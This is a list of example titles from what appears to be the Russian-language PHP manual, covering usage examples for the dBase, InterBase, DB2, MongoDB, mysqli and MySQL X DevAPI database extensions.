  • Example#1208 - Вставка записи в базу данных dBase
  • Example#1209 - Закрытие файла базы данных dBase
  • Example#1210 - Создание файла базы данных dBase
  • Example#1211 - Получение свойств полей файла базы данных dBase
  • Example#1212 - Список всех зарегистрированных пользователей в базе данных
  • Example#1213 - Пример использования dbase_numfields
  • Example#1214 - Цикл по всем записям базы данных
  • Example#1215 - Открытие dBase файл базы данных
  • Example#1216 - Очистка базы данных dBase
  • Example#1217 - Обновление записи в базе данных
  • Example#1218 - Пример использования ibase_backup
  • Example#1219 - Пример использования ibase_backup с аргументами
  • Example#1220 - Пример использования ibase_blob_get
  • Example#1221 - Пример использования ibase_blob_import
  • Example#1222 - Пример использования ibase_connect
  • Example#1223 - Пример использования ibase_execute
  • Example#1224 - Пример использования ibase_fetch_object
  • Example#1225 - Пример использования ibase_field_info
  • Example#1226 - Пример использования ibase_name_result
  • Example#1227 - Пример использования ibase_num_fields
  • Example#1228 - Пример использования ibase_query
  • Example#1229 - Пример использования ibase_restore
  • Example#1230 - Пример использования ibase_restore с аргументами
  • Example#1231 - Пример использования ibase_service_attach
  • Example#1232 - Пример использования ibase_service_attach
  • Example#1233 - Пример использования ibase_service_attach с синтаксисом hostname/port
  • Example#1234 - Пример использования ibase_service_detach
  • Example#1235 - Пример использования ibase_set_event_handler
  • Example#1236 - Получение текущего режима автоподтверждения транзакций
  • Example#1237 - Установка режима автоподтверждения транзакции
  • Example#1238 - Привязка переменных PHP к подготовленному выражению
  • Example#1239 - Вызов хранимых процедур с параметрами IN и OUT
  • Example#1240 - Вставка большого двоичного объекта (BLOB) напрямую из файла
  • Example#1241 - Пример использования db2_client_info
  • Example#1242 - Закрытие соединения
  • Example#1243 - Получение значения SQLSTATE для неудачной попытки подключения
  • Example#1244 - Получение сообщения об ошибке, возвращённого при неудачной попытке подключения
  • Example#1245 - Создание каталогизированного соединения
  • Example#1246 - Создание некаталогизированного соединения
  • Example#1247 - Создание соединения с отключённым автокоммитом по умолчанию
  • Example#1248 - Лучшая производительность i5/OS
  • Example#1249 - Использование доверенного контекста
  • Example#1250 - Пример использования db2_escape_string
  • Example#1251 - Создание таблицы с помощью db2_exec
  • Example#1252 - Выполнение запроса SELECT с прокручиваемым курсором
  • Example#1253 - Получение XML-данных как SQL ResultSet
  • Example#1254 - Выполнение "JOIN" с данными XML
  • Example#1255 - Возврат SQL-данных как части большого XML-документа
  • Example#1256 - Подготовка и выполнение SQL-запроса с маркерами параметров
  • Example#1257 - Вызов хранимой процедуры с параметром OUT
  • Example#1258 - Возврат XML-данных как SQL ResultSet
  • Example#1259 - Выполнение "JOIN" с данными XML
  • Example#1260 - Возврат SQL-данных как части большого XML-документа
  • Example#1261 - Перебор курсором "forward-only"
  • Example#1262 - Получение определённых строк с помощью db2_fetch_array из прокручиваемого курсора
  • Example#1263 - Перебор курсором "forward-only"
  • Example#1264 - Получение определённых строк с помощью db2_fetch_assoc из прокручиваемого курсора
  • Example#1265 - Перебор курсором "forward-only"
  • Example#1266 - Получение определённых строк с помощью db2_fetch_both из прокручиваемого курсора
  • Example#1267 - Пример использования db2_fetch_object
  • Example#1268 - Итерации по набору результатов
  • Example#1269 - Рекомендуемые альтернативы db2_fetch_row/db2_result для i5/OS
  • Example#1270 - Установка и получение параметров через ресурс подключения
  • Example#1271 - Пример использования db2_last_insert_id
  • Example#1272 - Итерации по разным типам данных
  • Example#1273 - Вызов хранимой процедуры, возвращающей несколько наборов результатов
  • Example#1274 - Получение количества полей в результирующем наборе
  • Example#1275 - Закрытие постоянного соединения
  • Example#1276 - Пример использования db2_pconnect
  • Example#1277 - Использование доверенного контекста
  • Example#1278 - Подготовка и выполнение SQL-запроса с маркерами параметров
  • Example#1279 - Пример использования db2_result
  • Example#1280 - Откат операции DELETE
  • Example#1281 - Пример использования db2_server_info
  • Example#1282 - Установка одного параметра для ресурса соединения
  • Example#1283 - Установка нескольких параметров для ресурса соединения
  • Example#1284 - Установка нескольких параметров с одним некорректным ключом
  • Example#1285 - Установка нескольких параметров с одним некорректным значением
  • Example#1286 - Setting multiple parameters with a connection resource and the wrong type
  • Example#1287 - Setting multiple parameters with the wrong resource
  • Example#1288 - Putting it all together
  • Example#1289 - Курсор i5/OS только для чтения
  • Example#1290 - Простой пример использования MongoDB\Driver\Manager::__construct
  • Example#1291 - Примеры использования MongoDB\Driver\Manager::__construct
  • Example#1292 - Пример использования MongoDB\Driver\Manager::executeBulkWrite
  • Example#1293 - Пример использования MongoDB\Driver\Manager::executeCommand с командой, возвращающей одиночный документ
  • Example#1294 - Пример использования MongoDB\Driver\Manager::executeCommand с командой, возвращающей курсор
  • Example#1295 - Ограничение времени выполнения запроса
  • Example#1296 - Пример использования MongoDB\Driver\Manager::executeQuery
  • Example#1297 - Ограничение времени выполнения запроса
  • Example#1298 - Пример использования MongoDB\Driver\Manager::getReadConcern
  • Example#1299 - Пример использования MongoDB\Driver\Manager::getReadPreference
  • Example#1300 - Пример использования MongoDB\Driver\Manager::getServers
  • Example#1301 - Пример использования MongoDB\Driver\Manager::getWriteConcern
  • Example#1302 - Использование MongoDB\Driver\Command для предоставления помощника по созданию коллекций
  • Example#1303 - Пример использования MongoDB\Driver\Command::__construct
  • Example#1304 - Пример использования MongoDB\Driver\Command::__construct
  • Example#1305 - Пример использования MongoDB\Driver\Query::__construct
  • Example#1306 - Смешанные операции группируются по типу
  • Example#1307 - Отсортированные операции записи, вызывающие ошибку
  • Example#1308 - Пример использования MongoDB\Driver\BulkWrite::__construct
  • Example#1309 - Пример использования MongoDB\Driver\BulkWrite::count
  • Example#1310 - Пример использования MongoDB\Driver\BulkWrite::delete
  • Example#1311 - Пример использования MongoDB\Driver\BulkWrite::insert
  • Example#1312 - Пример использования MongoDB\Driver\BulkWrite::update
  • Example#1313 - Пример объявления версии API в диспетчере
  • Example#1314 - Пример объявления строгой версии API для менеджера
  • Example#1315 - MongoDB\Driver\WriteConcern::bsonSerialize с большинством гарантии записи
  • Example#1316 - MongoDB\Driver\WriteConcern::bsonSerialize со временем ожидания и журналом
  • Example#1317 - Пример использования MongoDB\Driver\WriteConcern::__construct
  • Example#1318 - Пример использования MongoDB\Driver\WriteConcern::getJournal
  • Example#1319 - Пример использования MongoDB\Driver\WriteConcern::getW
  • Example#1320 - Пример использования MongoDB\Driver\WriteConcern::getWtimeout
  • Example#1321 - Пример использования MongoDB\Driver\WriteConcern::isDefault
  • Example#1322 - Пример использования MongoDB\Driver\ReadPreference::bsonSerialize с первичным предпочтением чтения
  • Example#1323 - Пример использования MongoDB\Driver\ReadPreference::bsonSerialize с вторичным предпочтением чтения и наборами тегов
  • Example#1324 - Пример использования MongoDB\Driver\ReadPreference::bsonSerialize с вторичным предпочтением чтения и максимальным staleness
  • Example#1325 - Пример использования MongoDB\Driver\ReadPreference::__construct
  • Example#1326 - Пример использования MongoDB\Driver\ReadPreference::getMaxStalenessSeconds
  • Example#1327 - Пример использования MongoDB\Driver\ReadPreference::getMode
  • Example#1328 - Пример использования MongoDB\Driver\ReadPreference::getModeString
  • Example#1329 - Пример использования MongoDB\Driver\ReadPreference::getTagSets
  • Example#1330 - Пример использования MongoDB\Driver\ReadConcern::bsonSerialize с пустыми гарантиями чтения
  • Example#1331 - Пример использования MongoDB\Driver\ReadConcern::bsonSerialize с локальными гарантиями чтения
  • Example#1332 - Пример использования MongoDB\Driver\ReadConcern::__construct
  • Example#1333 - Пример использования MongoDB\Driver\ReadConcern::getLevel
  • Example#1334 - Пример использования MongoDB\Driver\ReadConcern::isDefault
  • Example#1335 - Reading a result set
  • Example#1336 - Чтение набора результатов для хвостового курсора
  • Example#1337 - Пример использования MongoDB\Driver\Cursor::getId
  • Example#1338 - Пример использования MongoDB\Driver\Cursor::getServer
  • Example#1339 - Пример использования MongoDB\Driver\Cursor::isDead
  • Example#1340 - Пример использования MongoDB\Driver\Cursor::setTypeMap
  • Example#1341 - Пример использования MongoDB\Driver\Cursor::toArray
  • Example#1342 - Пример использования MongoDB\Driver\CursorId::__toString
  • Example#1343 - Пример использования MongoDB\Driver\Server::getHost
  • Example#1344 - Пример использования MongoDB\Driver\Server::getInfo
  • Example#1345 - Пример использования MongoDB\Driver\Server::getLatency
  • Example#1346 - Пример использования MongoDB\Driver\Server::getPort
  • Example#1347 - Пример использования MongoDB\Driver\WriteConcernError::getCode
  • Example#1348 - Пример использования MongoDB\Driver\WriteConcernError::getInfo
  • Example#1349 - Пример использования MongoDB\Driver\WriteConcernError::getMessage
  • Example#1350 - Пример использования MongoDB\Driver\WriteError::getCode
  • Example#1351 - Пример использования MongoDB\Driver\WriteError::getIndex
  • Example#1352 - Пример использования MongoDB\Driver\WriteError::getMessage
  • Example#1353 - Пример использования MongoDB\Driver\WriteResult::getDeletedCount
  • Example#1354 - Пример использования MongoDB\Driver\WriteResult::getInsertedCount
  • Example#1355 - Пример использования MongoDB\Driver\WriteResult::getMatchedCount
  • Example#1356 - Пример использования MongoDB\Driver\WriteResult::getModifiedCount
  • Example#1357 - Пример использования MongoDB\Driver\WriteResult::getServer
  • Example#1358 - Пример использования MongoDB\Driver\WriteResult::getUpsertedCount
  • Example#1359 - Пример использования MongoDB\Driver\WriteResult::getUpsertedIds
  • Example#1360 - Пример использования MongoDB\Driver\WriteResult::getWriteConcernError
  • Example#1361 - Пример использования MongoDB\Driver\WriteResult::getWriteErrors с одной ошибкой
  • Example#1362 - Пример использования MongoDB\Driver\WriteResult::getWriteErrors с несколькими ошибками
  • Example#1363 - Пример использования MongoDB\Driver\WriteResult::isAcknowledged с подтверждёнными гарантиями записи
  • Example#1364 - Пример использования MongoDB\Driver\WriteResult::isAcknowledged с неподтверждёнными гарантиями записи
  • Example#1365 - Пример использования MongoDB\BSON\fromJSON
  • Example#1366 - Пример использования MongoDB\BSON\fromPHP
  • Example#1367 - Пример использования MongoDB\BSON\toCanonicalExtendedJSON
  • Example#1368 - Пример использования MongoDB\BSON\toJSON
  • Example#1369 - Пример использования MongoDB\BSON\toPHP
  • Example#1370 - Пример использования MongoDB\BSON\toRelaxedExtendedJSON
  • Example#1371 - Пример использования MongoDB\BSON\Document::toCanonicalExtendedJSON
  • Example#1372 - Пример использования MongoDB\BSON\Document::toRelaxedExtendedJSON
  • Example#1373 - Пример использования MongoDB\BSON\Binary::__construct
  • Example#1374 - Пример использования MongoDB\BSON\Binary::getData
  • Example#1375 - Пример использования MongoDB\BSON\Binary::getType
  • Example#1376 - Пример использования MongoDB\BSON\Binary::__toString
  • Example#1377 - Пример использования MongoDB\BSON\Decimal128::__construct
  • Example#1378 - Пример использования MongoDB\BSON\Decimal128::__toString
  • Example#1379 - Пример использования MongoDB\BSON\Javascript::__construct
  • Example#1380 - Пример использования MongoDB\BSON\Javascript::getCode
  • Example#1381 - Пример использования MongoDB\BSON\Javascript::getScope
  • Example#1382 - Пример использования MongoDB\BSON\Javascript::__toString
  • Example#1383 - Пример использования MongoDB\BSON\MaxKey::__construct
  • Example#1384 - Пример использования MongoDB\BSON\MinKey::__construct
  • Example#1385 - Пример использования MongoDB\BSON\ObjectId::__construct
  • Example#1386 - Пример использования MongoDB\BSON\ObjectId::getTimestamp
  • Example#1387 - Пример использования MongoDB\BSON\ObjectId::__toString
  • Example#1388 - Пример использования MongoDB\BSON\Regex::__construct
  • Example#1389 - Пример использования MongoDB\BSON\Regex::getFlags
  • Example#1390 - Пример использования MongoDB\BSON\Regex::getPattern
  • Example#1391 - Пример использования MongoDB\BSON\Regex::__toString
  • Example#1392 - Пример использования MongoDB\BSON\Timestamp::__construct
  • Example#1393 - Пример использования MongoDB\BSON\Timestamp::__toString
  • Example#1394 - Пример использования MongoDB\BSON\UTCDateTime::__construct
  • Example#1395 - Пример использования MongoDB\BSON\UTCDatetime::toDateTime
  • Example#1396 - Пример использования MongoDB\BSON\UTCDateTime::__toString
  • Example#1397 - MongoDB\BSON\Serializable::bsonSerialize возвращение ассоциативного массива для корневого документа
  • Example#1398 - Пример использования метода MongoDB\BSON\Serializable::bsonSerialize, возвращающего ассоциативный массив для корневого документа
  • Example#1399 - MongoDB\BSON\Serializable::bsonSerialize возвращение ассоциативного массива для поля документа
  • Example#1400 - MongoDB\BSON\Serializable::bsonSerialize возвращение последовательного массива для поля документа
  • Example#1401 - Пример использования MongoDB\BSON\Unserializable::bsonUnserialize
  • Example#1402 - Пример использования MongoDB\BSON\Int64::__toString
  • Example#1403 - Пример использования MongoDB\Driver\Exception\WriteException::getWriteResult
  • Example#1404 - Сравнение MySQL API
  • Example#1405 - Сравнение подготовленных запросов
  • Example#1406 - Команды конфигурирования библиотеки mysqlnd или libmysqlclient
  • Example#1407 - Пример небуферизированного запроса: mysqli
  • Example#1408 - Пример небуферизированного запроса: pdo_mysql
  • Example#1409 - Проблемы установки кодировки символов с помощью SQL
  • Example#1410 - Пример установки кодировки символов: mysqli
  • Example#1411 - Пример установки кодировки символов: pdo_mysql
  • Example#1412 - Простота перехода со старого модуля mysql
  • Example#1413 - Объектно-ориентированный и процедурный интерфейсы
  • Example#1414 - Плохой стиль программирования
  • Example#1415 - Специальное назначение localhost
  • Example#1416 - Задание значений по умолчанию
  • Example#1417 - Выполнение запросов
  • Example#1418 - Навигация по строкам буферизованной результирующей таблицы
  • Example#1419 - Навигация по строкам небуферизованной результирующей таблицы
  • Example#1420 - Текстовый протокол по умолчанию возвращает строки
  • Example#1421 - Получение исходных типов данных в приложении
  • Example#1422 - Подготовленный запрос
  • Example#1423 - Выражение INSERT один раз подготавливается, а затем многократно выполняется
  • Example#1424 - Меньше обменов данными при использовании мультивставок SQL
  • Example#1425 - Исходные типы данных
  • Example#1426 - Привязка переменных к результату запроса
  • Example#1427 - Использование mysqli_result для выборки результатов запроса
  • Example#1428 - Буферизация результирующего набора для удобства чтения данных
  • Example#1429 - Вызов хранимой процедуры
  • Example#1430 - Использование переменных сессии
  • Example#1431 - Извлечение результатов работы хранимой процедуры
  • Example#1432 - Хранимые процедуры и подготавливаемые запросы
  • Example#1433 - Хранимые процедуры и подготавливаемые запросы с использованием привязки результатов
  • Example#1434 - Множественные запросы
  • Example#1435 - SQL-инъекция
  • Example#1436 - Установка режима автофиксации (autocommit) средствами SQL и функциями API
  • Example#1437 - Фиксация и откат
  • Example#1438 - Доступ к метаданным результирующей таблицы
  • Example#1439 - Метаданные подготовленных запросов
  • Example#1440 - Пример использования $mysqli->affected_rows
  • Example#1441 - Пример использования mysqli::autocommit
  • Example#1442 - Пример использования mysqli::begin_transaction
  • Example#1443 - Пример использования mysqli::change_user
  • Example#1444 - Пример использования mysqli::character_set_name
  • Example#1445 - Пример использования mysqli::close
  • Example#1446 - Пример использования $mysqli->connect_errno
  • Example#1447 - Пример использования $mysqli->connect_error
  • Example#1448 - Пример использования mysqli::__construct
  • Example#1449 - Расширение класса mysqli
  • Example#1450 - Ручная обработка ошибок
  • Example#1451 - Генерация файла трассировки
  • Example#1452 - Пример использования $mysqli->errno
  • Example#1453 - Пример использования $mysqli->error_list
  • Example#1454 - Пример с $mysqli->error
  • Example#1455 - Пример использования mysqli::execute_query
  • Example#1456 - Пример использования $mysqli->field_count
  • Example#1457 - Пример использования mysqli::get_charset
  • Example#1458 - mysqli_get_client_info
  • Example#1459 - mysqli_get_client_version
  • Example#1460 - Пример использования mysqli_get_connection_stats
  • Example#1461 - Пример использования $mysqli->host_info
  • Example#1462 - Пример использования $mysqli->protocol_version
  • Example#1463 - Пример использования $mysqli->server_info
  • Example#1464 - Пример использования $mysqli->server_version
  • Example#1465 - Пример использования $mysqli->info
  • Example#1466 - Пример функции $mysqli->insert_id
  • Example#1467 - Пример использования mysqli::kill
  • Example#1468 - Пример использования mysqli::multi_query
  • Example#1469 - Пример использования mysqli::ping
  • Example#1470 - Пример использования функции mysqli_poll
  • Example#1471 - Пример использования mysqli::prepare
  • Example#1472 - Пример использования mysqli::query
  • Example#1473 - Пример использования mysqli::real_connect
  • Example#1474 - Пример использования mysqli::real_escape_string
  • Example#1475 - Пример использования mysqli::select_db
  • Example#1476 - Пример использования mysqli::set_charset
  • Example#1477 - Пример использования $mysqli->sqlstate
  • Example#1478 - Пример использования mysqli::stat
  • Example#1479 - Пример использования $mysqli->thread_id
  • Example#1480 - Пример использования mysqli::use_result
  • Example#1481 - Пример использования $mysqli->warning_count
  • Example#1482 - Пример использования mysqli_stmt_affected_rows
  • Example#1483 - Пример использования mysqli_stmt::bind_param
  • Example#1484 - Пример использования ... для предоставления аргументов
  • Example#1485 - Объектно-ориентированный стиль
  • Example#1486 - Процедурный стиль
  • Example#1487 - Объектно-ориентированный стиль
  • Example#1488 - Процедурный стиль
  • Example#1489 - Объектно-ориентированный стиль
  • Example#1490 - Процедурный стиль
  • Example#1491 - Объектно-ориентированный стиль
  • Example#1492 - Процедурный стиль
  • Example#1493 - Объектно-ориентированный стиль
  • Example#1494 - Процедурный стиль
  • Example#1495 - Выполнение подготовленного оператора с привязкой переменных
  • Example#1496 - Выполнение подготовленного оператора с массивом значений
  • Example#1497 - Объектно-ориентированный стиль
  • Example#1498 - Процедурный стиль
  • Example#1499 - Объектно-ориентированный стиль
  • Example#1500 - Процедурный стиль
  • Example#1501 - Объектно-ориентированный стиль
  • Example#1502 - Процедурный стиль
  • Example#1503 - Объектно-ориентированный стиль
  • Example#1504 - Процедурный стиль
  • Example#1505 - Объектно-ориентированный стиль
  • Example#1506 - Процедурный стиль
  • Example#1507 - Пример использования mysqli_stmt::prepare
  • Example#1508 - Объектно-ориентированный стиль
  • Example#1509 - Процедурный стиль
  • Example#1510 - Объектно-ориентированный стиль
  • Example#1511 - Объектно-ориентированный стиль
  • Example#1512 - Процедурный стиль
  • Example#1513 - Объектно-ориентированный стиль
  • Example#1514 - Процедурный стиль
  • Example#1515 - Пример создания объекта mysqli_result
  • Example#1516 - Объектно-ориентированный стиль
  • Example#1517 - Процедурный стиль
  • Example#1518 - Пример использования mysqli::data_seek
  • Example#1519 - Регулировка указателя результата при перемещении
  • Example#1520 - Пример использования mysqli_result::fetch_all
  • Example#1521 - Пример использования mysqli_result::fetch_array
  • Example#1522 - Пример использования mysqli_result::fetch_assoc
  • Example#1523 - Сравнение использования mysqli_result iterator и mysqli_result::fetch_assoc
  • Example#1524 - Пример использования mysqli_result::fetch_column
  • Example#1525 - Объектно-ориентированный стиль
  • Example#1526 - Процедурный стиль
  • Example#1527 - Объектно-ориентированный стиль
  • Example#1528 - Процедурный стиль
  • Example#1529 - Объектно-ориентированный стиль
  • Example#1530 - Процедурный стиль
  • Example#1531 - Пример использования метода mysqli_result::fetch_object
  • Example#1532 - Пример использования mysqli_result::fetch_row
  • Example#1533 - Объектно-ориентированный стиль
  • Example#1534 - Процедурный стиль
  • Example#1535 - Объектно-ориентированный стиль
  • Example#1536 - Процедурный стиль
  • Example#1537 - Объектно-ориентированный стиль
  • Example#1538 - Процедурный стиль
  • Example#1539 - Объектно-ориентированный стиль
  • Example#1540 - Процедурный стиль
  • Example#1541 - Объектно-ориентированный стиль
  • Example#1542 - Процедурный стиль
  • Example#1543 - Отчёт об ошибках, кроме ошибок неверного индекса
  • Example#1544 - Пример использования mysqli_get_client_stats
  • Example#1545 - Подключение к серверу MySQL
  • Example#1546 - Создание схемы и коллекции на сервере MySQL
  • Example#1547 - Хранение и получение данных
  • Example#1548 - Извлечение и итерация нескольких документов
  • Example#1549 - Пример использования mysql_xdevapi\Expression
  • Example#1550 - Примеры URI
  • Example#1551 - Пример использования mysql_xdevapi\getSession
  • Example#1552 - Пример использования mysql_xdevapi\RowResult::getWarnings
  • Example#1553 - Пример использования mysql_xdevapi\RowResult::getWarningsCount
  • Example#1554 - Пример использования mysql_xdevapi\Client::__construct
  • Example#1555 - Пример использования mysql_xdevapi\Collection::add
  • Example#1556 - Пример использования mysql_xdevapi\Collection::addOrReplaceOne
  • Example#1557 - Пример использования mysql_xdevapi\Collection::getOne
  • Example#1558 - Пример использования mysql_xdevapi\Collection::count
  • Example#1559 - Пример использования mysql_xdevapi\Collection::createIndex
  • Example#1560 - Пример использования mysql_xdevapi\Collection::dropIndex
  • Example#1561 - Пример использования mysql_xdevapi\Collection::existsInDatabase
  • Example#1562 - Пример использования mysql_xdevapi\Collection::find
  • Example#1563 - Пример использования mysql_xdevapi\Collection::getName
  • Example#1564 - Пример использования mysql_xdevapi\Collection::getOne
  • Example#1565 - Пример использования mysql_xdevapi\Collection::getSchema
  • Example#1566 - Пример использования mysql_xdevapi\Collection::getSession
  • Example#1567 - Пример использования mysql_xdevapi\Collection::modify
  • Example#1568 - Пример использования метода mysql_xdevapi\Collection::remove
  • Example#1569 - Пример использования mysql_xdevapi\Collection::removeOne
  • Example#1570 - Пример использования mysql_xdevapi\Collection::replaceOne
  • Example#1571 - Пример использования mysql_xdevapi\CollectionAdd::__construct
  • Example#1572 - Пример использования mysql_xdevapi\CollectionAdd::execute
  • Example#1573 - Пример использования mysql_xdevapi\CollectionFind::bind
  • Example#1574 - Пример использования CollectionFind
  • Example#1575 - Пример использования класса CollectionFind
  • Example#1576 - Пример использования mysql_xdevapi\CollectionFind::fields
  • Example#1577 - Пример использования метода mysql_xdevapi\CollectionFind::groupBy
  • Example#1578 - Пример использования mysql_xdevapi\CollectionFind::having
  • Example#1579 - Пример использования mysql_xdevapi\CollectionFind::limit
  • Example#1580 - Пример использования метода mysql_xdevapi\CollectionFind::lockExclusive
  • Example#1581 - Пример использования метода mysql_xdevapi\CollectionFind::lockShared
  • Example#1582 - Пример использования mysql_xdevapi\CollectionFind::offset
  • Example#1583 - Пример использования mysql_xdevapi\CollectionFind::sort
  • Example#1584 - Пример использования mysql_xdevapi\CollectionModify::arrayAppend
  • Example#1585 - Пример использования mysql_xdevapi\CollectionModify::arrayInsert
  • Example#1586 - Пример использования mysql_xdevapi\CollectionModify::bind
  • Example#1587 - Пример использования метода mysql_xdevapi\CollectionModify::__construct
  • Example#1588 - Пример использования mysql_xdevapi\CollectionModify::execute
  • Example#1589 - Пример использования mysql_xdevapi\CollectionModify::limit
  • Example#1590 - Пример использования mysql_xdevapi\CollectionModify::patch
  • Example#1591 - Пример использования mysql_xdevapi\CollectionModify::replace
  • Example#1592 - Пример использования mysql_xdevapi\CollectionModify::set
  • Example#1593 - Пример использования mysql_xdevapi\CollectionModify::skip
  • Example#1594 - Пример использования mysql_xdevapi\CollectionModify::sort
  • Example#1595 - Пример использования mysql_xdevapi\CollectionModify::unset
  • Example#1596 - Пример использования mysql_xdevapi\CollectionRemove::bind
  • Example#1597 - Пример использования mysql_xdevapi\Collection::remove
  • Example#1598 - Пример использования mysql_xdevapi\CollectionRemove::execute
  • Example#1599 - Пример использования mysql_xdevapi\CollectionRemove::limit
  • Example#1600 - Пример использования mysql_xdevapi\CollectionRemove::sort
  • Example#1601 - Пример использования метода mysql_xdevapi\ColumnResult::__construct
  • Example#1602 - Пример использования mysql_xdevapi\ColumnResult::getCharacterSetName
  • Example#1603 - Пример использования mysql_xdevapi\ColumnResult::getCollationName
  • Example#1604 - Пример использования mysql_xdevapi\ColumnResult::getColumnLabel
  • Example#1605 - Пример использования mysql_xdevapi\ColumnResult::getColumnName
  • Example#1606 - Пример использования mysql_xdevapi\ColumnResult::getFractionalDigits
  • Example#1607 - Пример использования mysql_xdevapi\ColumnResult::getLength
  • Example#1608 - Пример использования mysql_xdevapi\ColumnResult::getSchemaName
  • Example#1609 - Пример использования mysql_xdevapi\ColumnResult::getTableLabel
  • Example#1610 - Пример использования mysql_xdevapi\ColumnResult::getTableName
  • Example#1611 - Пример использования mysql_xdevapi\ColumnResult::getType
  • Example#1612 - Пример использования метода mysql_xdevapi\ColumnResult::isNumberSigned
  • Example#1613 - Пример использования mysql_xdevapi\ColumnResult::isPadded
  • Example#1614 - Пример использования mysql_xdevapi\CrudOperationBindable::bind
  • Example#1615 - Пример использования mysql_xdevapi\CrudOperationLimitable::limit
  • Example#1616 - Пример использования mysql_xdevapi\CrudOperationSkippable::skip
  • Example#1617 - Пример использования mysql_xdevapi\CrudOperationSortable::sort
  • Example#1618 - Пример использования mysql_xdevapi\DatabaseObject::existsInDatabase
  • Example#1619 - Пример использования mysql_xdevapi\DatabaseObject::getName
  • Example#1620 - Пример использования mysql_xdevapi\DatabaseObject::getSession
  • Example#1621 - Пример использования DocResult
  • Example#1622 - Пример использования mysql_xdevapi\DocResult::fetchAll
  • Example#1623 - Пример использования mysql_xdevapi\DocResult::fetchOne
  • Example#1624 - Пример использования mysql_xdevapi\DocResult::getWarnings
  • Example#1625 - Пример использования mysql_xdevapi\DocResult::getWarningsCount
  • Example#1626 - Примеры использования execute()
  • Example#1627 - Пример использования mysql_xdevapi\ExecutionStatus::__construct
  • Example#1628 - Пример использования mysql_xdevapi\Expression::__construct
  • Example#1629 - Пример использования mysql_xdevapi\Result::__construct
  • Example#1630 - Пример использования mysql_xdevapi\Result::getAffectedItemsCount
  • Example#1631 - Пример использования mysql_xdevapi\Result::getAutoIncrementValue
  • Example#1632 - Пример использования mysql_xdevapi\Result::getGeneratedIds
  • Example#1633 - Пример использования mysql_xdevapi\RowResult::getWarnings
  • Example#1634 - Пример использования mysql_xdevapi\RowResult::getWarningsCount
  • Example#1635 - Пример использования mysql_xdevapi\RowResult::__construct
  • Example#1636 - Пример использования mysql_xdevapi\RowResult::fetchAll
  • Example#1637 - Пример использования mysql_xdevapi\RowResult::fetchOne
  • Example#1638 - Пример использования mysql_xdevapi\RowResult::getColumnsCount
  • Example#1639 - Пример использования mysql_xdevapi\RowResult::getColumnNames
  • Example#1640 - Пример использования mysql_xdevapi\RowResult::getColumns
  • Example#1641 - Пример использования mysql_xdevapi\RowResult::getWarnings
  • Example#1642 - Пример использования mysql_xdevapi\RowResult::getWarningsCount
  • Example#1643 - Пример использования метода mysql_xdevapi\Schema::__construct
  • Example#1644 - Пример использования метода mysql_xdevapi\Schema::createCollection
  • Example#1645 - Пример использования метода mysql_xdevapi\Schema::createCollection
  • Example#1646 - Пример использования метода mysql_xdevapi\Schema::dropCollection
  • Example#1647 - Пример использования метода mysql_xdevapi\Schema::existsInDatabase
  • Example#1648 - Пример использования метода mysql_xdevapi\Schema::getCollection
  • Example#1649 - Пример использования метода mysql_xdevapi\Schema::getCollectionAsTable
  • Example#1650 - Пример использования метода mysql_xdevapi\Schema::getCollections
  • Example#1651 - Пример использования метода mysql_xdevapi\Schema::getName
  • Example#1652 - Пример использования метода mysql_xdevapi\Schema::getSession
  • Example#1653 - Пример использования метода mysql_xdevapi\Schema::getTable
  • Example#1654 - Пример использования метода mysql_xdevapi\Schema::getTables
  • Example#1655 - Пример использования mysql_xdevapi\Session::getSchema
  • Example#1656 - Пример использования mysql_xdevapi\Session::close
  • Example#1657 - Пример использования mysql_xdevapi\Session::commit
  • Example#1658 - Пример использования mysql_xdevapi\Session::__construct
  • Example#1659 - Пример использования mysql_xdevapi\Session::createSchema
  • Example#1660 - Пример использования mysql_xdevapi\Session::dropSchema
  • Example#1661 - Пример использования mysql_xdevapi\Session::generateUuid
  • Example#1662 - Пример использования mysql_xdevapi\Session::getSchema
  • Example#1663 - Пример использования mysql_xdevapi\Session::getSchema
  • Example#1664 - Пример использования mysql_xdevapi\Session::getSchemas
  • Example#1665 - Пример использования mysql_xdevapi\Session::getServerVersion
  • Example#1666 - Пример использования mysql_xdevapi\Session::listClients
  • Example#1667 - Пример использования mysql_xdevapi\Session::quoteName
  • Example#1668 - Пример использования mysql_xdevapi\Session::releaseSavepoint
  • Example#1669 - Пример использования mysql_xdevapi\Session::rollback
  • Example#1670 - Пример использования mysql_xdevapi\Session::rollbackTo
  • Example#1671 - Пример использования mysql_xdevapi\Session::setSavepoint
  • Example#1672 - Пример использования mysql_xdevapi\Session::sql
  • Example#1673 - Пример использования mysql_xdevapi\Session::startTransaction
  • Example#1674 - Пример использования mysql_xdevapi\SqlStatement::bind
  • Example#1675 - Пример использования mysql_xdevapi\SqlStatement::__construct
  • Example#1676 - Пример использования mysql_xdevapi\SqlStatement::execute
  • Example#1677 - Пример использования mysql_xdevapi\SqlStatement::getNextResult
  • Example#1678 - Пример использования mysql_xdevapi\SqlStatement::getResult
  • Example#1679 - Пример использования mysql_xdevapi\SqlStatement::hasMoreResults
  • Example#1680 - Пример использования mysql_xdevapi\SqlStatementResult::__construct
  • Example#1681 - Пример использования mysql_xdevapi\SqlStatementResult::fetchAll
  • Example#1682 - Пример использования mysql_xdevapi\SqlStatementResult::fetchOne
  • Example#1683 - Пример использования mysql_xdevapi\SqlStatementResult::getAffectedItemsCount
  • Example#1684 - Пример использования mysql_xdevapi\SqlStatementResult::getColumnsCount
  • Example#1685 - Пример использования mysql_xdevapi\SqlStatementResult::getColumnNames
  • Example#1686 - Пример использования mysql_xdevapi\SqlStatementResult::getColumns
  • Example#1687 - Пример использования mysql_xdevapi\SqlStatementResult::getGeneratedIds
  • Example#1688 - Пример использования mysql_xdevapi\SqlStatementResult::getLastInsertId
  • Example#1689 - Пример использования mysql_xdevapi\SqlStatementResult::getWarnings
  • Example#1690 - Пример использования mysql_xdevapi\SqlStatementResult::getWarningsCount
  • Example#1691 - Пример использования mysql_xdevapi\SqlStatementResult::hasData
  • Example#1692 - Пример использования mysql_xdevapi\SqlStatementResult::nextResult
  • Example#1693 - mysql_xdevapi\Statement::__construct example
  • Example#1694 - Пример использования mysql_xdevapi\Statement::getNextResult
  • Example#1695 - Пример использования mysql_xdevapi\Statement::getResult
  • Example#1696 - Пример использования mysql_xdevapi\Statement::hasMoreResults
  • Example#1697 - Пример использования mysql_xdevapi\Table::__construct
  • Example#1698 - Пример использования mysql_xdevapi\Table::count
  • Example#1699 - Пример использования mysql_xdevapi\Table::delete
  • Example#1700 - Пример использования mysql_xdevapi\Table::existsInDatabase
  • Example#1701 - Пример использования mysql_xdevapi\Table::getName
